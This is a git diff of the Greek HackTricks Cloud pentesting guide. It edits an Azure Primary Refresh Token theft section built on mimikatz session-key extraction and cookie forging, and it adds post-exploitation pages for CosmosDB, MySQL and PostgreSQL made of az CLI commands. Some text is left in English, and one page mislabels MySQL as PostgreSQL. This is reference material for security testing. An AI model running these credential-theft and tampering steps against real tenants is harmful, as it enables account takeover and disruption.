-2. Το **Session Key εξάγεται στη συνέχεια**. Δεδομένου ότι αυτό το κλειδί εκδίδεται αρχικά και στη συνέχεια επανακρυπτογραφείται από τη τοπική συσκευή, απαιτεί αποκρυπτογράφηση χρησιμοποιώντας ένα DPAPI masterkey. Λεπτομερείς πληροφορίες σχετικά με το DPAPI (Data Protection API) μπορείτε να βρείτε σε αυτούς τους πόρους: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) και για κατανόηση της εφαρμογής του, ανατρέξτε στην [επίθεση Pass-the-cookie](az-pass-the-cookie.md).
-3. Μετά την αποκρυπτογράφηση του Session Key, το **παράγωγο κλειδί και το πλαίσιο για το PRT αποκτώνται**. Αυτά είναι κρίσιμα για τη **δημιουργία του cookie PRT**. Συγκεκριμένα, το παράγωγο κλειδί χρησιμοποιείται για την υπογραφή του JWT (JSON Web Token) που συνιστά το cookie. Μια εκτενής εξήγηση αυτής της διαδικασίας έχει παρασχεθεί από τον Dirk-jan, προσβάσιμη [εδώ](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
+2. Το **Session Key εξάγεται στη συνέχεια**. Δεδομένου ότι αυτό το κλειδί εκδίδεται αρχικά και στη συνέχεια επανακρυπτογραφείται από τη τοπική συσκευή, απαιτεί αποκρυπτογράφηση χρησιμοποιώντας ένα DPAPI masterkey. Λεπτομερείς πληροφορίες σχετικά με το DPAPI (Data Protection API) μπορείτε να βρείτε σε αυτούς τους πόρους: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) και για κατανόηση της εφαρμογής του, ανατρέξτε στην [επίθεση Pass-the-cookie](az-pass-the-cookie.md).
+3. Μετά την αποκρυπτογράφηση του Session Key, το **παράγωγο κλειδί και το πλαίσιο για το PRT αποκτώνται**. Αυτά είναι κρίσιμα για τη **δημιουργία του cookie PRT**. Συγκεκριμένα, το παράγωγο κλειδί χρησιμοποιείται για την υπογραφή του JWT (JSON Web Token) που αποτελεί το cookie. Μια ολοκληρωμένη εξήγηση αυτής της διαδικασίας έχει παρασχεθεί από τον Dirk-jan, προσβάσιμη [εδώ](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
> [!CAUTION]
> Σημειώστε ότι αν το PRT είναι μέσα στο TPM και όχι μέσα στο `lsass` **το mimikatz δεν θα μπορέσει να το εξάγει**.\
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Αντιγράψτε** το μέρος που είναι επισημασμένο **Prt** και αποθηκεύστε το.\
-Εξάγετε επίσης το κλειδί συνεδρίας (το **`KeyValue`** του πεδίου **`ProofOfPossesionKey`**) το οποίο μπορείτε να δείτε επισημασμένο παρακάτω. Αυτό είναι κρυπτογραφημένο και θα χρειαστεί να χρησιμοποιήσουμε τα DPAPI masterkeys μας για να το αποκρυπτογραφήσουμε.
+Εξάγετε επίσης το session key (το **`KeyValue`** του πεδίου **`ProofOfPossesionKey`**) το οποίο μπορείτε να δείτε επισημασμένο παρακάτω. Αυτό είναι κρυπτογραφημένο και θα χρειαστεί να χρησιμοποιήσουμε τα DPAPI masterkeys μας για να το αποκρυπτογραφήσουμε.
> [!NOTE]
> Αν δεν δείτε κανένα δεδομένο PRT, μπορεί να είναι ότι **δεν έχετε κανένα PRT** επειδή η συσκευή σας δεν είναι συνδεδεμένη με το Azure AD ή μπορεί να τρέχετε **παλιά έκδοση** των Windows 10.
-Για να **αποκρυπτογραφήσετε** το κλειδί συνεδρίας, πρέπει να **ανυψώσετε** τα δικαιώματά σας σε **SYSTEM** για να εκτελείστε υπό το πλαίσιο του υπολογιστή ώστε να μπορείτε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό:
+Για να **αποκρυπτογραφήσετε** το session key, πρέπει να **ανυψώσετε** τα προνόμιά σας σε **SYSTEM** για να τρέξετε υπό το πλαίσιο του υπολογιστή ώστε να μπορέσετε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
- Στη συνέχεια, πηγαίνετε στο [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
-> Τα υπόλοιπα θα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει ένα λάθος και θα πρέπει να περάσετε ξανά από τη διαδικασία. Αν δεν το κάνει, θα είστε εντάξει.
+> Το υπόλοιπο θα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει ένα λάθος και θα πρέπει να περάσετε ξανά από τη διαδικασία. Αν δεν το κάνει, θα είστε εντάξει.
#### Επιλογή 2 - roadrecon χρησιμοποιώντας PRT
@@ -228,7 +228,7 @@ HttpOnly: Set to True (checked)
```bash
roadtx prt -a renew --prt --prt-sessionkey
```
-- Τώρα μπορούμε να **ζητήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA.
+- Τώρα μπορούμε να **αιτήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
#### Επιλογή 3 - roadrecon χρησιμοποιώντας παραγόμενα κλειδιά
-Έχοντας το πλαίσιο και το παραγόμενο κλειδί που εξήχθη από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με:
+Έχοντας το πλαίσιο και το παραγόμενο κλειδί που έχει απορριφθεί από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με:
```bash
roadrecon auth --prt-cookie --prt-context --derives-key
```
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
index 9c372ef60..c366c5698 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
@@ -19,7 +19,7 @@
Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις περιπτώσεις και να τις backdoor:
- Χρησιμοποιώντας ένα παραδοσιακό **rootkit** για παράδειγμα
-- Προσθέτοντας ένα νέο **δημόσιο SSH key** (ελέγξτε [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
+- Προσθέτοντας ένα νέο **δημόσιο SSH key** (ελέγξτε [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
- Backdooring το **User Data**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
new file mode 100644
index 000000000..a83f1dc68
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -0,0 +1,243 @@
+# Az - CosmosDB Post Exploitation
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## CosmosDB Post Exploitation
+Για περισσότερες πληροφορίες σχετικά με τη SQL Database ελέγξτε:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+
+### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε λογαριασμούς Azure Cosmos DB. Αυτό περιλαμβάνει την τροποποίηση ρυθμίσεων σε επίπεδο λογαριασμού, την προσθήκη ή αφαίρεση περιοχών, την αλλαγή επιπέδων συνέπειας και την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών όπως οι εγγραφές πολλαπλών περιοχών.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb update \
+--name \
+--resource-group \
+--public-network-access ENABLED
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κοντέινερ (συλλογές) εντός μιας SQL βάσης δεδομένων ενός λογαριασμού Azure Cosmos DB. Τα κοντέινερ χρησιμοποιούνται για την αποθήκευση δεδομένων, και οι αλλαγές σε αυτά μπορούν να επηρεάσουν τη δομή και τα πρότυπα πρόσβασης της βάσης δεδομένων.
+
+{% code overflow="wrap" %}
+```bash
+# Create
+az cosmosdb sql container create \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--partition-key-path
+
+#Update
+az cosmosdb sql container update \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--ttl 3600
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε SQL βάσεις δεδομένων εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τη διαχείριση της δομής της βάσης δεδομένων και την προσθήκη νέων βάσεων δεδομένων στον λογαριασμό. Ενώ αυτή η άδεια επιτρέπει τη δημιουργία βάσεων δεδομένων, η ακατάλληλη ή μη εξουσιοδοτημένη χρήση θα μπορούσε να έχει ως αποτέλεσμα περιττή κατανάλωση πόρων, αυξημένα κόστη ή λειτουργικές αναποτελεσματικότητες.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+
+Με αυτή την άδεια, μπορείτε να αλλάξετε την προτεραιότητα αποτυχίας των περιοχών για έναν λογαριασμό βάσης δεδομένων Azure Cosmos DB. Αυτή η ενέργεια καθορίζει τη σειρά με την οποία οι περιοχές γίνονται κύριες κατά τη διάρκεια ενός συμβάντος αποτυχίας. Η ακατάλληλη χρήση αυτής της άδειας μπορεί να διαταράξει την υψηλή διαθεσιμότητα της βάσης δεδομένων ή να οδηγήσει σε απρόβλεπτες επιχειρησιακές επιπτώσεις.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb failover-priority-change \
+--name \
+--resource-group \
+--failover-policies
+
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+Με αυτή την άδεια, μπορείτε να αναγεννήσετε τα κύρια ή δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτό χρησιμοποιείται συνήθως για την ενίσχυση της ασφάλειας αντικαθιστώντας τα παλιά κλειδιά, αλλά μπορεί να διαταράξει την πρόσβαση για υπηρεσίες ή εφαρμογές που βασίζονται στα τρέχοντα κλειδιά.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys regenerate \
+--name \
+--resource-group \
+--key-kind
+
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε triggers μέσα σε ένα container μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Τα triggers σας επιτρέπουν να εκτελείτε λογική server-side ως απάντηση σε λειτουργίες.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε αποθηκευμένες διαδικασίες μέσα σε ένα κοντέινερ μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Οι αποθηκευμένες διαδικασίες στο Cosmos DB είναι JavaScript συναρτήσεις server-side που σας επιτρέπουν να ενσωματώσετε λογική για την επεξεργασία δεδομένων ή την εκτέλεση λειτουργιών απευθείας μέσα στη βάση δεδομένων.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql stored-procedure create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function sample() { return "Hello, Cosmos!"; }'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε triggers μέσα σε ένα container μιας SQL βάσης δεδομένων σε έναν λογαριασμό Azure Cosmos DB. Τα triggers σας επιτρέπουν να εκτελείτε λογική server-side ως απάντηση σε ενέργειες όπως εισαγωγές, ενημερώσεις ή διαγραφές.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συλλογές εντός των βάσεων δεδομένων MongoDB σε έναν λογαριασμό Azure Cosmos DB. Οι συλλογές χρησιμοποιούνται για την αποθήκευση εγγράφων και τον καθορισμό της δομής και της κατανομής των δεδομένων.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb collection create \
+--account-name \
+--resource-group \
+--database-name \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει την προμήθεια νέων βάσεων δεδομένων για την αποθήκευση και διαχείριση συλλογών και εγγράφων.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς ρόλων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων ρόλων με συγκεκριμένες άδειες για χρήστες MongoDB.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".readWriteRole",
+"RoleName": "readWriteRole",
+"Type": "CustomRole",
+"DatabaseName": "",
+"Privileges": [
+{
+"Resource": {
+"Db": "",
+"Collection": "mycollection"
+},
+"Actions": [
+"insert",
+"find",
+"update"
+]
+}
+],
+"Roles": []
+}'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς χρηστών MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει την παροχή χρηστών με συγκεκριμένους ρόλους και επίπεδα πρόσβασης σε βάσεις δεδομένων MongoDB.
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb user definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".myUser",
+"UserName": "myUser",
+"Password": "mySecurePassword",
+"DatabaseName": "",
+"CustomData": "TestCustomData",
+"Mechanisms": "SCRAM-SHA-256",
+"Roles": [
+{
+"Role": "readWriteRole",
+"Db": ""
+}
+]
+}'
+```
+{% endcode %}
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
new file mode 100644
index 000000000..78c234c69
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -0,0 +1,167 @@
+# Az - MySQL Post Exploitation
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## MySQL Database Post Exploitation
+Για περισσότερες πληροφορίες σχετικά με τη MySQL Database ελέγξτε:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια MySQL Flexible Server instance στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+
+Με αυτή την άδεια, μπορείτε να ξεκινήσετε τη δημιουργία αντιγράφων ασφαλείας για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει στους χρήστες να δημιουργούν αντίγραφα ασφαλείας κατόπιν αιτήματος, τα οποία μπορεί να είναι χρήσιμα για τη διατήρηση δεδομένων σε συγκεκριμένες χρονικές στιγμές.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+
+Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Προηγμένης Προστασίας από Απειλές (ATP) για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+
+Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κανόνες τείχους προστασίας για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει τον έλεγχο ποιοι διευθύνσεις IP ή εύρη μπορούν να έχουν πρόσβαση στον διακομιστή. Η μη εξουσιοδοτημένη ή ακατάλληλη χρήση αυτής της άδειας θα μπορούσε να εκθέσει τον διακομιστή σε ανεπιθύμητη ή κακόβουλη πρόσβαση.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az mysql flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az mysql flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
+
+Με αυτή την άδεια, μπορείτε να επαναφέρετε το GTID (Global Transaction Identifier) για μια MySQL Flexible Server instance στο Azure. Η επαναφορά του GTID θα ακυρώσει όλα τα αυτοματοποιημένα, κατά παραγγελία αντίγραφα ασφαλείας και γεωγραφικά αντίγραφα ασφαλείας που ελήφθησαν πριν από την ενέργεια επαναφοράς. Μετά την επαναφορά του GTID, δεν θα μπορείτε να εκτελέσετε PITR (point-in-time-restore) χρησιμοποιώντας το ταχύτερο σημείο αποκατάστασης ή μέσω προσαρμοσμένου σημείου αποκατάστασης αν ο επιλεγμένος χρόνος αποκατάστασης είναι πριν από την ώρα επαναφοράς του GTID. Και η επιτυχής γεω-αποκατάσταση θα είναι δυνατή μόνο μετά από 5 ημέρες.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server reset-gtid \
+--name \
+--resource-group \
+--gtid-set
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+
+Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις. Μπορείτε να ενημερώσετε τις παρακάτω παραμέτρους μαζί σε μια παρτίδα: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, και max_connections.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server parameter set-batch \
+--resource-group \
+--server-name \
+--args max_connections=
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+Με αυτή την άδεια, μπορείτε να αναθέσετε μια ταυτοποιημένη ταυτότητα διαχείρισης σε ευέλικτους διακομιστές MySQL.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server identity assign \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+
+Με αυτή την άδεια, μπορείτε να σταματήσετε μια PostgreSQL Flexible Server instance στο Azure. Η διακοπή ενός διακομιστή μπορεί να οδηγήσει σε προσωρινή διακοπή υπηρεσίας, επηρεάζοντας τις εφαρμογές και τους χρήστες που εξαρτώνται από τη βάση δεδομένων.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server start \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "*/delete"
+
+With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
new file mode 100644
index 000000000..e2e96d1d1
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -0,0 +1,155 @@
+# Az - PostgreSQL Post Exploitation
+
+{% hint style="success" %}
+Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Υποστήριξη HackTricks
+
+* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## PostgreSQL Database Post Exploitation
+Για περισσότερες πληροφορίες σχετικά με τη βάση δεδομένων PostgreSQL, ελέγξτε:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+
